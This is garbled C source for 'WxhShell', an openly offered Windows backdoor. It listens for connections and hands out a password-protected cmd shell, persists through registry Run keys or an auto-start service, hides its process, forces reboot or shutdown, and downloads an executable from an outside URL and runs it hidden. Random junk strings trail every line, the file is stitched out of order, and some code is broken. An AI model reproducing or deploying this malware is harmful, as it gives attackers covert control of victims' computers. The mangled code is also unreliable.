    if(Boot(SHUTDOWN)) ~)#xOE}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SN5Z@kK  
    else { *qKf!&  
    closesocket(wsh); =zRjb>  
    ExitThread(0); f!bGH-.r5  
    } mMtva}=*  
    break; Q(BM0n)f  
    } ch)#NHZ9F  
  // 获取shell DcsQ6  
  case 's': { ',s{N9  
    CmdShell(wsh); 6)1xjE#  
    closesocket(wsh); .#_g.0<  
    ExitThread(0); -c p)aH)  
    break; oR}'I  
  } vFK!LeF%  
  // 退出 ]//D d/L6  
  case 'x': { oRHWb_$"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [(iJj3s!  
    CloseIt(wsh); jTN!\RH9NF  
    break; Z9UNp[  0  
    } eo<=Q|nI&  
  // 离开 GC)xQZU)s  
  case 'q': { 7,ffY/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *]e 9/f  
    closesocket(wsh); `r+`vJ$  
    WSACleanup(); ]64?S0p1c!  
    exit(1); Q@- h  
    break; H1e^/JD)  
        } k-8$ 43  
  } V&>mD"~MP  
  } , R $ZZ4  
7Yly^  
  // 提示信息 /S`d?AV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e[%g'}D:-  
} Ew2ksZ>B]&  
  } J72 YZrc  
o%l|16DR  
  return; }>?"bcJ  
} k2DBm q;  
|\/V1  
// shell模块句柄 !z_VwZ#,  
int CmdShell(SOCKET sock) PHqIfH [  
{ ^:]~6p#  
STARTUPINFO si; 3ms{gZbw  
ZeroMemory(&si,sizeof(si)); AjMx\'(C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S*a_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $qk(yzY  
PROCESS_INFORMATION ProcessInfo; CDGN}Q2_  
char cmdline[]="cmd"; u =|A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "kkZK=}Nv  
  return 0; qW t 9Tr  
} BZRC0^-C@  
r&D&xsbQ  
// 自身启动模式 Gu\lV c  
int StartFromService(void) c{cJ>d 0  
{ vY(xH>Fd  
typedef struct xyRZ v]K1  
{ Z{ b($po  
  DWORD ExitStatus; ?iaD;:'qE  
  DWORD PebBaseAddress; S1W(]%0/  
  DWORD AffinityMask; -{a&Zkz>V  
  DWORD BasePriority; ['_G1_p  
  ULONG UniqueProcessId; Hbi2amfBu  
  ULONG InheritedFromUniqueProcessId; #AUa'qB t  
}   PROCESS_BASIC_INFORMATION; < c[dpK5c  
M\jTeB"Z  
PROCNTQSIP NtQueryInformationProcess; 2Ls  
\7A6+[ `fa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; roE*8:Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *m`KY)b=l  
Auf2JH~  
  HANDLE             hProcess; jl~?I*Gr  
  PROCESS_BASIC_INFORMATION pbi; &ajpD sz;  
zIgD R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J(%kcueb  
  if(NULL == hInst ) return 0; VU 8 ~hF  
%)G]rta#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i*Ee(m]I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9UeK}Rl^n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PH3#\ v.   
jwZBWt )5  
  if (!NtQueryInformationProcess) return 0; \ D,c*I|p7  
ET}Dh3A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4O** %!|  
  if(!hProcess) return 0; l*z.20^P  
>6"u{Qmr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q$ 6Tb  
Vpsv@\@J>  
  CloseHandle(hProcess); 8^%Nl `_2B  
a5# B&|#q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U> s$}Y:+Z  
if(hProcess==NULL) return 0; [p# }=&d  
7iBN!"G0  
HMODULE hMod; p@+r&Mg%W"  
char procName[255]; a'2^kds  
unsigned long cbNeeded; CN, oH4IU  
]:vo"{*C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'vUx4s  
^z\*; f  
  CloseHandle(hProcess); 6!^&]4  
smN |r  
if(strstr(procName,"services")) return 1; // 以服务启动 #DFfySH)A  
OFe?T\dQn  
  return 0; // 注册表启动 /htM/pR  
} f/6,b&l,  
CDTM<0`%  
// 主模块 ]~1Xx:X-  
int StartWxhshell(LPSTR lpCmdLine) P\R#!+FgW8  
{ KWH l+p L  
  SOCKET wsl; q:/<^|  
BOOL val=TRUE; wio}<Y6Xz  
  int port=0; _]# ^2S  
  struct sockaddr_in door; zs~v6y@  
k2cC:5Xf3  
  if(wscfg.ws_autoins) Install(); K6l{wyMb|  
~t-!{F  
port=atoi(lpCmdLine); Vy7o}z`  
eAD uk!Iq  
if(port<=0) port=wscfg.ws_port; j"c30AY  
1fzHmD  
  WSADATA data; l4+Bs!i`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mE}@}@(  
^N\$oV$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HM(S}>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Gn8'h TM  
  door.sin_family = AF_INET; 1||\3L/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mjtmN0^SR  
  door.sin_port = htons(port); e7^B3FOx  
kg^VzNX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F+3}Gkn  
closesocket(wsl); gLL8-T[9  
return 1; -x?I6>{  
} $+$S}i=  
,=@%XMS  
  if(listen(wsl,2) == INVALID_SOCKET) { O.% $oV  
closesocket(wsl); :]hNw1e  
return 1; #7}1W[y9}l  
} NP#:} )  
  Wxhshell(wsl); qXw^y  
  WSACleanup(); H ]x-s  
Lm{qFu  
return 0; $)O=3dNbo  
q&RezHK l  
} R@8pKCL.  
dRD t.U!T  
// 以NT服务方式启动 b&j}f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RU_wr<  
{ 9_  
DWORD   status = 0; / !@@  
  DWORD   specificError = 0xfffffff; 9$[PA jwk  
NM{/rvM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iUua!uC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k:qS'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G (o9*m1  
  serviceStatus.dwWin32ExitCode     = 0; /eO :1c  
  serviceStatus.dwServiceSpecificExitCode = 0; r$ 8 ^K\oF  
  serviceStatus.dwCheckPoint       = 0; 4fyds< f  
  serviceStatus.dwWaitHint       = 0; 8*iIJ  
UTLuzm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5u89?-UD  
  if (hServiceStatusHandle==0) return; #NZ#G~oeO  
^.|P&f~  
status = GetLastError(); "h'+!2mf  
  if (status!=NO_ERROR) w 4fz!l]  
{ y k{8O.g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0lm7'H*~  
    serviceStatus.dwCheckPoint       = 0; H-|%\9&{S  
    serviceStatus.dwWaitHint       = 0; z?DI4 O#Up  
    serviceStatus.dwWin32ExitCode     = status; #{DX*;1m  
    serviceStatus.dwServiceSpecificExitCode = specificError; u9zEhfg8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <(c_[o/  
    return; 5mYX#//:  
  } o<8('j   
e>] gCa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =+z+`ot  
  serviceStatus.dwCheckPoint       = 0; NtfzAz/  
  serviceStatus.dwWaitHint       = 0; aVvma=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w$##GM=Tq  
} A 6IrA/b  
bQlvb  
// 处理NT服务事件,比如:启动、停止 LN0pC }F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /L yoTBG  
{ BtA_1RO  
switch(fdwControl) Rl/5eE8  
{ 5w+KIHhN|  
case SERVICE_CONTROL_STOP: tg%#W `  
  serviceStatus.dwWin32ExitCode = 0; @/,:". SM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ouE/\4'NB  
  serviceStatus.dwCheckPoint   = 0; tSVWO] <  
  serviceStatus.dwWaitHint     = 0; [Xyu_I-c  
  { U5RLM_a@M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >_J9D?3S  
  } 4Y5lP00!}  
  return; |8q:sr_  
case SERVICE_CONTROL_PAUSE: ! *eDT4a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Oo0SDWI`(  
  break; /Bw <?:  
case SERVICE_CONTROL_CONTINUE: q)j_QbW)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TKe\Bi  
  break; D>fg  
case SERVICE_CONTROL_INTERROGATE: :*} -,{uX  
  break; 'EHt A9M  
}; 9,wD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4^Y{ BS fF  
} 7M/v[dwL  
m!K`?P]:N  
// 标准应用程序主函数 M '#a.z%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TT@ U_^o  
{ _1,hO?TK  
2z9s$tp  
// 获取操作系统版本 "P9(k>  
OsIsNt=GetOsVer(); PS}'LhZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KcvstC`  
HSk_'g(\0  
  // 从命令行安装 xfa-   
  if(strpbrk(lpCmdLine,"iI")) Install(); 4`GOBX1b.y  
S54q?sb_  
  // 下载执行文件 TtQ'I}7q  
if(wscfg.ws_downexe) { ({OQ JBC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 21$E.x 6  
  WinExec(wscfg.ws_filenam,SW_HIDE); nSv@FT'~z  
} D"V(A\sZ  
$*Kr4vh  
if(!OsIsNt) { Yu$QL@  
// 如果时win9x,隐藏进程并且设置为注册表启动 `y|_hb  
HideProc(); Uv m:`e~?  
StartWxhshell(lpCmdLine); ZXIw^!8@/  
} _70Z1_ ;  
else @V&c=8) 8  
  if(StartFromService()) g\% Z+Dc  
  // 以服务方式启动 * '_(.Z:  
  StartServiceCtrlDispatcher(DispatchTable); '^.`mT'P  
else 9Vru,7g  
  // 普通方式启动 5%%e$o+  
  StartWxhshell(lpCmdLine); "ze-Mb  
BW:HKH.k  
return 0; UCt}\IJ  
} #CV]S4/^  
Vel}lQD  
k2@]nW"S  
'u:-~nSX)  
=========================================== |A/H*J,  
N; '] &f  
njc-=o  
`*l aUn  
H$+@O-  
<D[0mi0  
" ]OtnekkK$  
]"&](e6*  
#include <stdio.h> 4[(NxXH8M  
#include <string.h> I>GBnx L  
#include <windows.h> rz0)S py6  
#include <winsock2.h> B[I9<4}  
#include <winsvc.h> [j}JCmWY   
#include <urlmon.h> =EYWiK77a  
z2>LjM) #  
#pragma comment (lib, "Ws2_32.lib") _u+ 7>  
#pragma comment (lib, "urlmon.lib") ]rv4O@||w  
%vv`Vx2  
#define MAX_USER   100 // 最大客户端连接数 r'`7}@H*  
#define BUF_SOCK   200 // sock buffer MkL)  
#define KEY_BUFF   255 // 输入 buffer ZfH +Iqd  
ua)jGif  
#define REBOOT     0   // 重启 m"T}em#   
#define SHUTDOWN   1   // 关机 ftG3!}  
9QaE)wt  
#define DEF_PORT   5000 // 监听端口 ?ac4GA(  
Vr|e(e.%  
#define REG_LEN     16   // 注册表键长度 e P,bFc  
#define SVC_LEN     80   // NT服务名长度 QtwQVOK  
pI:,Lt1B  
// 从dll定义API .faf!3d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y hQ)M5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N+ak{3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8qqN0"{,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  vTgx7gP  
x_ /}R3d  
// wxhshell配置信息 n1JtY75#,/  
struct WSCFG { tYXE$ i  
  int ws_port;         // 监听端口 {l)$9!  
  char ws_passstr[REG_LEN]; // 口令 EJ>&\Iq  
  int ws_autoins;       // 安装标记, 1=yes 0=no fZezDm(Q  
  char ws_regname[REG_LEN]; // 注册表键名 +J|H~`  
  char ws_svcname[REG_LEN]; // 服务名 pB4Uc<e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @)BO`;*$fF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WR3,woo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `sCn4-$8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |mP};&b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^$5 0[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5Yhcnwdm!  
BZ =I/L  
}; \"1>NJn&k)  
8Z0x*Ssk  
// default Wxhshell configuration @zC6`  
struct WSCFG wscfg={DEF_PORT, {nbT$3=Zt  
    "xuhuanlingzhe", <)p.GAZ  
    1, Lo~ ;pvv  
    "Wxhshell", 1_<x%>zG  
    "Wxhshell", 59O-"Sc[  
            "WxhShell Service", s(nT7x+W  
    "Wrsky Windows CmdShell Service", b,^Gj]7  
    "Please Input Your Password: ", 'Y/0:)  
  1, O5:bdt.  
  "http://www.wrsky.com/wxhshell.exe", Z(7kwhP[`  
  "Wxhshell.exe" g_1#if&  
    }; _0jR({\  
{G Jl<G1  
// 消息定义模块 +]s,VSL5`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S~i9~jA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >UMxlvTg&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4SZ,X^]I>  
char *msg_ws_ext="\n\rExit."; 1vxRhS&FY  
char *msg_ws_end="\n\rQuit."; {Q3OT  
char *msg_ws_boot="\n\rReboot..."; +?Ii=*7n  
char *msg_ws_poff="\n\rShutdown..."; eD?&D_l~6  
char *msg_ws_down="\n\rSave to "; ly-(F2  
cf88Fd6l/  
char *msg_ws_err="\n\rErr!"; Oj;*Gi9E  
char *msg_ws_ok="\n\rOK!"; {YgU23;q  
FDQ=$w}' >  
char ExeFile[MAX_PATH]; U\p`YZ  
int nUser = 0; MzD1sWmK  
HANDLE handles[MAX_USER]; a(|6)w-  
int OsIsNt; Td'Mc-/  
RbX9PF"|+  
SERVICE_STATUS       serviceStatus; )"S%'myj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I@MG ?ZQ  
*qwN9b/!  
// 函数声明 mUa#sTm  
int Install(void); _6nAxm&x`%  
int Uninstall(void); u<Kowt<ci  
int DownloadFile(char *sURL, SOCKET wsh); UPI- j#yc  
int Boot(int flag); "5&"Ij,/  
void HideProc(void); Y {^*y  
int GetOsVer(void); tL$,]I$1+  
int Wxhshell(SOCKET wsl); 0+e=s0s.  
void TalkWithClient(void *cs); <NMJkl-r8r  
int CmdShell(SOCKET sock); SO=gG 2E  
int StartFromService(void); pM?~AYWb  
int StartWxhshell(LPSTR lpCmdLine); :QGkYJ  
6u0>3-[6OD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -K'UXoU1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #4JMb#q0E  
r8s>s6vm  
// 数据结构和表定义 fAgeF$9@  
SERVICE_TABLE_ENTRY DispatchTable[] = rO7_K>g?  
{ u%~'+=  
{wscfg.ws_svcname, NTServiceMain}, rx2)uUbR  
{NULL, NULL}  y:RW:D&  
}; F qH))2  
ENuL!H>;*  
// 自我安装 C2}y#AI  
int Install(void) v>]g="5}8  
{ @G" nkB   
  char svExeFile[MAX_PATH]; )Ka-vX)D@  
  HKEY key; :)~l3:O  
  strcpy(svExeFile,ExeFile); a+E 8s7C/D  
DK74s  
// 如果是win9x系统,修改注册表设为自启动 lo$G*LWu:  
if(!OsIsNt) { -qc'J<*^4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pi?/]}:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p^pd7)sBr  
  RegCloseKey(key); M0w Uis:`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Uj7YTB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e,JBz~CK*w  
  RegCloseKey(key); l+9RPJD/:  
  return 0; DyN[Yp|V  
    } X"!j_*&ED  
  } #<xFO^TB  
} w a_{\v=  
else { \J+a7N8m,  
!|Q&4NS  
// 如果是NT以上系统,安装为系统服务 ,{PN6B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f'oTN!5WF  
if (schSCManager!=0) g{V(WyT@  
{ p< 7rF_?W0  
  SC_HANDLE schService = CreateService 4Hz3 KKu  
  ( 4 neZw'm  
  schSCManager, C}h(WOcr`X  
  wscfg.ws_svcname, ` IVQ  
  wscfg.ws_svcdisp, z}[ u~P,  
  SERVICE_ALL_ACCESS, <  o?ua}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R! M'  
  SERVICE_AUTO_START, @D;K&:~|N  
  SERVICE_ERROR_NORMAL, :qdyC sn2  
  svExeFile, VW*%q0i-  
  NULL, CtCReH03  
  NULL, nnyT,e%  
  NULL, v#?DWeaFS_  
  NULL, Qn$'bK2V  
  NULL \6wltTW]#  
  ); @rYZ0`E9  
  if (schService!=0) +j 9+~  
  { N|yA]dg[  
  CloseServiceHandle(schService); uVqc:Q"  
  CloseServiceHandle(schSCManager); jlBsm'M<m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M7/5e3  
  strcat(svExeFile,wscfg.ws_svcname); NCKR<!(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D,cD]tB2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v@{y}  
  RegCloseKey(key); rN&fFI  
  return 0; ~rV$.:%va  
    } [)I^v3]U  
  } S%\5"uGa  
  CloseServiceHandle(schSCManager); +ywz@0nx  
} HIc;Lc8$  
} Z;uKnJh  
zeMV_rW~  
return 1; 8'Q+%{?1t  
} XZOBK^,5^B  
C1;uAw?\  
// 自我卸载 <9]"p2  
int Uninstall(void) 2E-Kz?,:[  
{ TgcCR:eL=  
  HKEY key; r ~{nlLO}  
"q?(rx;  
if(!OsIsNt) { 5$U49j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0aY|:  
  RegDeleteValue(key,wscfg.ws_regname); :$G^TD/n  
  RegCloseKey(key); &E]) sJ0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zu}uW,XH-  
  RegDeleteValue(key,wscfg.ws_regname); dzIBdth  
  RegCloseKey(key); < dE7+w  
  return 0;  c k;:84  
  } 1O Ft}>1  
} lz`\Q6rZ  
} #X)DFAtb  
else { 9BakxmAc  
,O:4[M!$w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ()|e xWW  
if (schSCManager!=0) aUMiRm-   
{ Sqp91[,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); efyEzL  
  if (schService!=0) >(2;(TbQm0  
  { 5i6Ji(  
  if(DeleteService(schService)!=0) { ) P7oL.)  
  CloseServiceHandle(schService); \ ERBb.  
  CloseServiceHandle(schSCManager); <\~@l^lU  
  return 0; +IXr4M&3  
  } Ls2,+yo]>  
  CloseServiceHandle(schService); ar@,SKU'K  
  } ~[!Tpq5  
  CloseServiceHandle(schSCManager); MTwzL<@$  
} b|87=1^m[  
} 9+(b7L   
HHx5 VI  
return 1; ]fY:+Ru  
} :LuA6  
# 9bw'm  
// 从指定url下载文件 CM~x1f*v  
int DownloadFile(char *sURL, SOCKET wsh) f:8!@,I  
{ =&g:dX|q8  
  HRESULT hr; @[D5{v)S  
char seps[]= "/"; C,ldi"|  
char *token; lGet)/w;c  
char *file; ZW))Mx#K=T  
char myURL[MAX_PATH]; E7$ aT^  
char myFILE[MAX_PATH]; LI-ewea  
tG]W!\C'h  
strcpy(myURL,sURL); k Jz^\Re  
  token=strtok(myURL,seps); ,M]W_\N~E  
  while(token!=NULL) ~p+ `pwjY1  
  { \V~B+e  
    file=token; v#d3W| ~  
  token=strtok(NULL,seps); fhk(<KZvJ  
  } o JVdFE  
Zp/P/97p  
GetCurrentDirectory(MAX_PATH,myFILE); UaG&HGg]!  
strcat(myFILE, "\\"); )l*3^kwL{U  
strcat(myFILE, file); tv-SX=T  
  send(wsh,myFILE,strlen(myFILE),0); .D7Gog3^<  
send(wsh,"...",3,0); #}6~>A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P=_W{6  
  if(hr==S_OK) VVF9X(^rQ  
return 0; hB 'rkjt  
else k'v+/6 Y  
return 1; mb'{@  
^!m%:r7Dr  
} 3 JlM{N6+  
pl}W|kW}  
// 系统电源模块 Cf 202pF3y  
int Boot(int flag) 0}Kyj"-3  
{ 5-4  
  HANDLE hToken; v%#@.D!)  
  TOKEN_PRIVILEGES tkp; )"Ujx`]4r  
f !7fz~&Sh  
  if(OsIsNt) { ./ tZ*sP:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JrxQ.,*i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :MYLap&L&  
    tkp.PrivilegeCount = 1;  zW?=^bE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;Gp9 ?0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }w=|"a|,  
if(flag==REBOOT) { a'q&[08  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {h|kx/4{m  
  return 0; CT\rx>[J.6  
} s4Jy96<  
else { n1x3q/~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Vf(..8  
  return 0; OHY|< &*  
} \"I418T K  
  } 9qq6P!  
  else { ;5|d[r}k3  
if(flag==REBOOT) { p;%5o0{1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e[Z-&'  
  return 0; [IyC}lSW^-  
} aYtW!+#  
else { ^c}kVQ\g3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  >YdLB@  
  return 0; [pt U}  
} 2L.6!THG  
} y`z?lmV)xM  
B_@p@6z  
return 1; \^cXmyQ<%  
} !(S.7#-r  
cI6Td*vM  
// win9x进程隐藏模块 ?:5/4YC  
void HideProc(void) ( s+}l?  
{ tI0D{Xrc  
(j%"iQD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A)#Fyde  
  if ( hKernel != NULL ) T7Y+ WfYh  
  { 1Fsa}UK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ErQGVE;zk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;Rxc(tR!n  
    FreeLibrary(hKernel); 7 /" Z/^  
  } -23sm~`  
dM -<aq  
return; X=jD^"-  
} OJFWmZ(X  
K,bX<~e5  
// 获取操作系统版本 p CeCR  
int GetOsVer(void) Lq#!}QcW=  
{ +wGvY r  
  OSVERSIONINFO winfo; Fbw.Y6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7?y([i\y  
  GetVersionEx(&winfo); fndH]Yp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gd0a,_`M  
  return 1; \Jwc[R&x  
  else 02[*b  
  return 0; TD/ 4lL~(x  
} [.;I}  
T#}"?A|  
// 客户端句柄模块 GG4FS  
int Wxhshell(SOCKET wsl) Jg&f.  
{ U*BI/wZ  
  SOCKET wsh; $GD Q1&Z  
  struct sockaddr_in client; u`*1OqU  
  DWORD myID; us U6,  
%mS>v|  
  while(nUser<MAX_USER) iML?`%/vN  
{ 'kJyE9*xU.  
  int nSize=sizeof(client); K7,Sr1O `  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I#(?xHx  
  if(wsh==INVALID_SOCKET) return 1; K:$GmV9o  
3my_Gp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A*kN I  
if(handles[nUser]==0) *"V) h I5  
  closesocket(wsh); u&j_;Y!6  
else $b )k  
  nUser++; #Fh:z4  
  } =s:Z-*vy!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V|2[>\Cv  
3'55!DE  
  return 0; d263#R  
} )SaMfP1=v  
=|V#~p*  
// 关闭 socket ^ b{~]I  
void CloseIt(SOCKET wsh) 3[R[ `l]v?  
{ "!#KQ''R  
closesocket(wsh); yi<H }&  
nUser--; q^}iXE~  
ExitThread(0); G,b*Qn5#  
}  cj|Urt  
#_'^oGz`  
// 客户端请求句柄 h\|T(597.  
void TalkWithClient(void *cs) >4?735f=x  
{ 6"2IV  
lgefTT GX)  
  SOCKET wsh=(SOCKET)cs; <,t6A?YoMP  
  char pwd[SVC_LEN]; Go7 oj'"  
  char cmd[KEY_BUFF]; ( n!8>>+1C  
char chr[1]; 2}9M7Z",2  
int i,j; i&L!?6 5-f  
=pb ru=/  
  while (nUser < MAX_USER) { Nfd'|#  
nYTPcT4x|  
if(wscfg.ws_passstr) { 3g3Znb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I9sQPa  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .bNG:y>  
  //ZeroMemory(pwd,KEY_BUFF); =GC,1WVEqV  
      i=0; :f0#4'f  
  while(i<SVC_LEN) { ' $"RQ=  
'Z6x\p  
  // 设置超时 gAK"ShOhG=  
  fd_set FdRead; ]&"01M~+K  
  struct timeval TimeOut; fy>~ GFk(  
  FD_ZERO(&FdRead); Yo}QW;,g  
  FD_SET(wsh,&FdRead); CH0Nkf  
  TimeOut.tv_sec=8; Aot9^@4])  
  TimeOut.tv_usec=0; nx5I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q]Af I(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D1wONss  
0>ce~KU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -]Aqt/w"l  
  pwd=chr[0]; -T>i5'2)  
  if(chr[0]==0xd || chr[0]==0xa) { +DYsBCVbag  
  pwd=0; 8)YDUE%VH  
  break; a6"-,Kg  
  } d*LW32B@  
  i++; zCmx1Djz  
    } .i3_D??  
xC 4L`\  
  // 如果是非法用户,关闭 socket m(^nG_eX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2I_~] X53[  
} 3yLJWHO%W  
ka*#O"}L8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FlT5R*m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WIw*//nw  
5p~hUP]tT  
while(1) { SnY{|  
sV]I]DR  
  ZeroMemory(cmd,KEY_BUFF); D/Py?<n-B  
2~%^ y6lR  
      // 自动支持客户端 telnet标准   *_K*GCy  
  j=0; ULzrJbP'7  
  while(j<KEY_BUFF) { o`Q.;1(Y'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uP^u:'VjbH  
  cmd[j]=chr[0]; KESM5p"f  
  if(chr[0]==0xa || chr[0]==0xd) { #@P0i^pFTB  
  cmd[j]=0; f8)fm2^09  
  break; BR:Mcc  
  } eaDG7+iS  
  j++; D=}\]Krmay  
    } c6VyF=2q  
)D&xyC}  
  // 下载文件 |u+!CR  
  if(strstr(cmd,"http://")) { HbJ^L:/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9u%(9Ae  
  if(DownloadFile(cmd,wsh)) Dv~jVIXu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @DSKa`  
  else <4582x,G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m%s:4Z%=  
